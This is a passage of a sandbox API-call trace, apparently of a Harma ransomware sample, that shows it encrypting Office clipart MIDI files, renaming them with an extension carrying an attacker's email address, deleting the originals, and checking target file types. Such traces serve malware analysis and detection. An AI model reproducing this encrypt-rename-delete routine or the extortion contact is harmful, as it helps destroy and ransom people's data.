Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0138.834] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=12981) returned 1 [0138.834] CloseHandle (hObject=0x2e8) returned 1 [0138.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid")) returned 0x20 [0139.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0139.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0139.294] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.294] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0139.295] GetLastError () returned 0x0 [0139.295] ReadFile (in: hFile=0x210, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x32b5, lpOverlapped=0x0) returned 1 [0139.342] WriteFile (in: hFile=0x214, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x32c0, lpOverlapped=0x0) returned 1 [0139.343] ReadFile (in: hFile=0x210, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.343] WriteFile (in: hFile=0x214, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.343] SetEndOfFile (hFile=0x214) returned 1 [0139.525] CloseHandle (hObject=0x214) returned 1 [0139.526] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.526] SetEndOfFile (hFile=0x210) returned 1 [0139.528] CloseHandle (hObject=0x210) returned 1 [0139.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0139.529] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid")) returned 1 [0139.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0139.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0139.530] lstrlenW (lpString=".doc") returned 4 [0139.530] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0139.530] lstrlenW (lpString=".docx") returned 5 [0139.530] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0139.530] lstrlenW (lpString=".pdf") returned 4 [0139.530] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0139.530] lstrlenW (lpString=".xls") returned 4 [0139.530] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0139.530] lstrlenW (lpString=".xlsx") returned 5 [0139.530] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0139.530] lstrlenW (lpString=".ppt") returned 4 [0139.530] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0139.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0139.530] lstrlenW (lpString=".zip") returned 4 [0139.530] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0139.530] lstrlenW (lpString=".rar") returned 4 [0139.530] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0139.530] lstrlenW (lpString=".bz2") returned 4 [0139.530] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0139.530] lstrlenW (lpString=".7z") returned 3 [0139.530] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0139.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0139.530] lstrlenW (lpString=".dbf") returned 4 [0139.530] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0139.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0139.530] lstrlenW (lpString=".1cd") returned 4 [0139.530] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0139.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0139.531] lstrlenW (lpString=".jpg") returned 4 [0139.531] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0139.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0139.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0139.531] lstrlenW (lpString=".doc") returned 4 [0139.531] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0139.531] lstrlenW (lpString=".docx") returned 5 [0139.531] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0139.531] lstrlenW (lpString=".pdf") returned 4 [0139.531] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0139.531] lstrlenW (lpString=".xls") returned 4 [0139.531] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0139.531] lstrlenW (lpString=".xlsx") returned 5 [0139.531] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0139.531] lstrlenW (lpString=".ppt") returned 4 [0139.531] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0139.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0139.531] lstrlenW (lpString=".zip") returned 4 [0139.531] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0139.531] lstrlenW (lpString=".rar") returned 4 [0139.531] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0139.531] lstrlenW (lpString=".bz2") returned 4 [0139.532] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0139.532] lstrlenW (lpString=".7z") returned 3 [0139.532] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0139.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0139.532] lstrlenW (lpString=".dbf") returned 4 [0139.532] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0139.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0139.532] lstrlenW (lpString=".1cd") returned 4 [0139.532] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0139.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0139.532] lstrlenW (lpString=".jpg") returned 4 [0139.532] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0139.532] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0139.532] lstrlenW (lpString="GRID_01.MID") returned 11 [0139.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0140.308] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=6331) returned 1 [0140.308] CloseHandle (hObject=0x350) returned 1 [0140.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid")) returned 0x20 [0140.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0140.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0140.317] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.317] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0140.318] GetLastError () returned 0x0 [0140.318] ReadFile (in: hFile=0x338, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x18bb, lpOverlapped=0x0) returned 1 [0140.332] WriteFile (in: hFile=0x340, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x18c0, lpOverlapped=0x0) returned 1 [0140.333] ReadFile (in: hFile=0x338, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.333] WriteFile (in: hFile=0x340, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xea, lpOverlapped=0x0) returned 1 [0140.333] SetEndOfFile (hFile=0x340) returned 1 [0140.333] CloseHandle (hObject=0x340) returned 1 [0140.334] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.334] SetEndOfFile (hFile=0x338) returned 1 [0140.349] CloseHandle (hObject=0x338) returned 1 [0140.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0140.379] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid")) returned 1 [0140.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0140.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0140.380] lstrlenW (lpString=".doc") returned 4 [0140.380] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0140.380] lstrlenW (lpString=".docx") returned 5 [0140.380] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0140.380] lstrlenW (lpString=".pdf") returned 4 [0140.380] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0140.380] lstrlenW (lpString=".xls") returned 4 [0140.380] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0140.380] lstrlenW (lpString=".xlsx") returned 5 [0140.380] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0140.380] lstrlenW (lpString=".ppt") returned 4 [0140.380] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0140.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0140.380] lstrlenW (lpString=".zip") returned 4 [0140.380] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0140.381] lstrlenW (lpString=".rar") returned 4 [0140.381] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0140.381] lstrlenW (lpString=".bz2") returned 4 [0140.381] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0140.381] lstrlenW (lpString=".7z") returned 3 [0140.381] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0140.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0140.381] lstrlenW (lpString=".dbf") returned 4 [0140.381] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0140.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0140.382] lstrlenW (lpString=".1cd") returned 4 [0140.382] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0140.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0140.382] lstrlenW (lpString=".jpg") returned 4 [0140.382] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0140.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0140.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0140.382] lstrlenW (lpString=".doc") returned 4 [0140.382] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0140.382] lstrlenW (lpString=".docx") returned 5 [0140.382] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0140.382] lstrlenW (lpString=".pdf") returned 4 [0140.382] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0140.382] lstrlenW (lpString=".xls") returned 4 [0140.382] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0140.382] lstrlenW (lpString=".xlsx") returned 5 [0140.382] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0140.382] lstrlenW (lpString=".ppt") returned 4 [0140.382] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0140.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0140.383] lstrlenW (lpString=".zip") returned 4 [0140.383] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0140.383] lstrlenW (lpString=".rar") returned 4 [0140.383] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0140.383] lstrlenW (lpString=".bz2") returned 4 [0140.383] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0140.383] lstrlenW (lpString=".7z") returned 3 [0140.383] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0140.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0140.383] lstrlenW (lpString=".dbf") returned 4 [0140.383] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0140.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0140.383] lstrlenW (lpString=".1cd") returned 4 [0140.383] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0140.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0140.383] lstrlenW (lpString=".jpg") returned 4 [0140.383] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0140.384] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0140.384] lstrlenW (lpString="JNGLE_01.MID") returned 12 [0140.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0140.388] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=5843) returned 1 [0140.388] CloseHandle (hObject=0x21c) returned 1 [0140.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid")) returned 0x20 [0140.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0140.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0140.388] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.388] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0140.398] GetLastError () returned 0x0 [0140.398] ReadFile (in: hFile=0x21c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x16d3, lpOverlapped=0x0) returned 1 [0140.619] WriteFile (in: hFile=0x348, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x16e0, lpOverlapped=0x0) returned 1 [0140.620] ReadFile (in: hFile=0x21c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.620] WriteFile (in: hFile=0x348, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.620] SetEndOfFile (hFile=0x348) returned 1 [0141.071] CloseHandle (hObject=0x348) returned 1 [0141.077] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.077] SetEndOfFile (hFile=0x21c) returned 1 [0141.708] CloseHandle (hObject=0x21c) returned 1 [0141.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0141.833] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid")) returned 1 [0141.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0141.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0141.834] lstrlenW (lpString=".doc") returned 4 [0141.834] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0141.834] lstrlenW (lpString=".docx") returned 5 [0141.834] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0141.834] lstrlenW (lpString=".pdf") returned 4 [0141.834] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0141.834] lstrlenW (lpString=".xls") returned 4 [0141.834] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0141.834] lstrlenW (lpString=".xlsx") returned 5 [0141.834] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0141.834] lstrlenW (lpString=".ppt") returned 4 [0141.834] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0141.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0141.834] lstrlenW (lpString=".zip") returned 4 [0141.834] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0141.835] lstrlenW (lpString=".rar") returned 4 [0141.835] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0141.835] lstrlenW (lpString=".bz2") returned 4 [0141.835] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0141.835] lstrlenW (lpString=".7z") returned 3 [0141.835] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0141.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0141.835] lstrlenW (lpString=".dbf") returned 4 [0141.835] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0141.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0141.835] lstrlenW (lpString=".1cd") returned 4 [0141.835] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0141.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0141.835] lstrlenW (lpString=".jpg") returned 4 [0141.835] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0141.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0141.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0141.835] lstrlenW (lpString=".doc") returned 4 [0141.835] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0141.835] lstrlenW (lpString=".docx") returned 5 [0141.835] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0141.835] lstrlenW (lpString=".pdf") returned 4 [0141.835] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0141.835] lstrlenW (lpString=".xls") returned 4 [0141.835] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0141.835] lstrlenW (lpString=".xlsx") returned 5 [0141.835] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0141.835] lstrlenW (lpString=".ppt") returned 4 [0141.835] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0141.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0141.836] lstrlenW (lpString=".zip") returned 4 [0141.836] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0141.836] lstrlenW (lpString=".rar") returned 4 [0141.836] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0141.836] lstrlenW (lpString=".bz2") returned 4 [0141.836] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0141.836] lstrlenW (lpString=".7z") returned 3 [0141.836] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0141.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0141.836] lstrlenW (lpString=".dbf") returned 4 [0141.836] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0141.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0141.836] lstrlenW (lpString=".1cd") returned 4 [0141.836] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0141.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0141.836] lstrlenW (lpString=".jpg") returned 4 [0141.836] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0141.836] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0141.836] lstrlenW (lpString="OCEAN_01.MID") returned 12 [0141.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0141.837] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=5440) returned 1 [0141.837] CloseHandle (hObject=0x358) returned 1 [0141.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid")) returned 0x20 [0141.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0141.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: 